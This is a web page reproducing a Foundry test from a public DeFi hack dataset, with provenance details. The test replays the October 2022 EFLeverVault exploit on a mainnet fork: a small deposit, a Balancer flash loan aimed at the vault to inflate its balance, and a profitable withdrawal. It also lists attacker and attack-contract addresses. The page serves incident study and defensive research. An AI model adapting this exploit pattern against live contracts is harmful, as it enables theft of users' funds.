Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/EFLeverVault_exp.sol

Public reproduction file for dataset entry EFLeverVault.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/EFLeverVault_exp.sol91 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~750 ETH
8// Attacker : 0xdf31F4C8dC9548eb4c416Af26dC396A25FDE4D5F
9// Attack Contracts :
10// - https://etherscan.io/address/0x140cca423081ed0366765f18fc9f5ed299699388
11// - https://etherscan.io/address/0x8663fbfc41a0bac88e7cd4b128b7a77381e77781
12// Vulnerable Contract : https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309
13// Attack Txs :
14// - https://etherscan.io/tx/0x1f1aba5bef04b7026ae3cb1cb77987071a8aff9592e785dd99860566ccad83d1 frontrun bot
15// - https://etherscan.io/tx/0x160c5950a01b88953648ba90ec0a29b0c5383e055d35a7835d905c53a3dda01e exploiter
17// @Info
18// Vulnerable Contract Code : https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309#code#L324
20// @Analysis
21// Twitter Supremacy : https://twitter.com/Supremacy_CA/status/1581012823701786624
22// Twitter MevRefund : https://twitter.com/MevRefund/status/1580917351217627136
23// Twitter Daniel Von Fange : https://twitter.com/danielvf/status/1580936010556661761
25interface IEFLeverVault {
26 function deposit(
27 uint256
28 ) external payable;
29 function withdraw(
30 uint256
31 ) external;
34contract ContractTest is Test {
35 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
36 IEFLeverVault constant EFLEVER_VAULT = IEFLeverVault(0xe39fd820B58f83205Db1D9225f28105971c3D309);
37 IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
39 function setUp() public {
40 vm.createSelectFork("mainnet", 15_746_199);
41 // Adding labels to improve stack traces' readability
42 vm.label(address(WETH_TOKEN), "WETH_TOKEN");
43 vm.label(address(EFLEVER_VAULT), "EFLEVER_VAULT");
44 vm.label(address(BALANCER_VAULT), "BALANCER_VAULT");
45 vm.label(0xBAe7EC1BAaAe7d5801ad41691A2175Aa11bcba19, "EF_LEVER_TOKEN");
46 vm.label(0x071108Ad85d7a766B41E0f5e5195537A8FC8E74D, "EF_LEVER_UNVERIFIED_SAFEMATH");
47 vm.label(0x030bA81f1c18d280636F32af80b9AAd02Cf0854e, "aWETH_TOKEN");
48 vm.label(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84, "stETH_TOKEN");
49 vm.label(0x1982b2F5814301d4e9a8b0201555376e62F82428, "aSTETH_TOKEN");
50 vm.label(0xF63B34710400CAd3e044cFfDcAb00a0f32E33eCf, "variableDebtWETH_TOKEN");
51 vm.label(0xA50ba011c48153De246E5192C8f9258A2ba79Ca9, "AAVE_ORACLE");
52 vm.label(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9, "AAVE_LENDING_POOL_V2");
53 vm.label(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022, "CURVE_stETH_POOL");
54 }
56 function testExploit() public {
57 emit log_named_decimal_uint(
58 "[Start] Attacker WETH balance before exploit", WETH_TOKEN.balanceOf(address(this)), 18
59 );
60 uint256 ethBalanceBefore = address(this).balance;
62 // Deposit 0.1 ETH into the EFLever Vault
63 EFLEVER_VAULT.deposit{value: 1e17}(1e17);
65 emit log_named_decimal_uint(
66 "\n\tBefore flashloan, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18
67 );
68 // Flashloan to manipulate contract's balance
69 address[] memory tokens = new address[](1);
70 tokens[0] = address(WETH_TOKEN);
71 uint256[] memory amounts = new uint256[](1);
72 amounts[0] = 1000 * 1e18;
73 bytes memory userData = "0x2";
74 BALANCER_VAULT.flashLoan(address(EFLEVER_VAULT), tokens, amounts, userData);
75 emit log_named_decimal_uint(
76 "\tAfter flashloan, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18
77 );
78 EFLEVER_VAULT.withdraw(9e16);
79 emit log_named_decimal_uint("\tAfter withdraw, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18);
81 // Swap the profit in ETH to WETH
82 uint256 ethProfit = address(this).balance - ethBalanceBefore;
83 WETH_TOKEN.deposit{value: ethProfit}();
85 emit log_named_decimal_uint(
86 "\n[End] Attacker WETH balance after exploit", WETH_TOKEN.balanceOf(address(this)), 18
87 );
88 }
90 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “EFLeverVault” (2022-10-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdf31f4c8dc9548eb4c416af26dc396a25fde4d5f

  • Attack Contract

    0x140cca423081ed0366765f18fc9f5ed299699388

  • Vulnerable Contract

    0xe39fd820b58f83205db1d9225f28105971c3d309

File record

Name
EFLeverVault
Path
src/test/2022-10/EFLeverVault_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d71703f019d00bd59faa4d1e25a7707d4c48aa38
Language
Solidity
Size
92 lines
Date
2022-10-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/EFLeverVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d71703f019d00bd59faa4d1e25a7707d4c48aa38, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.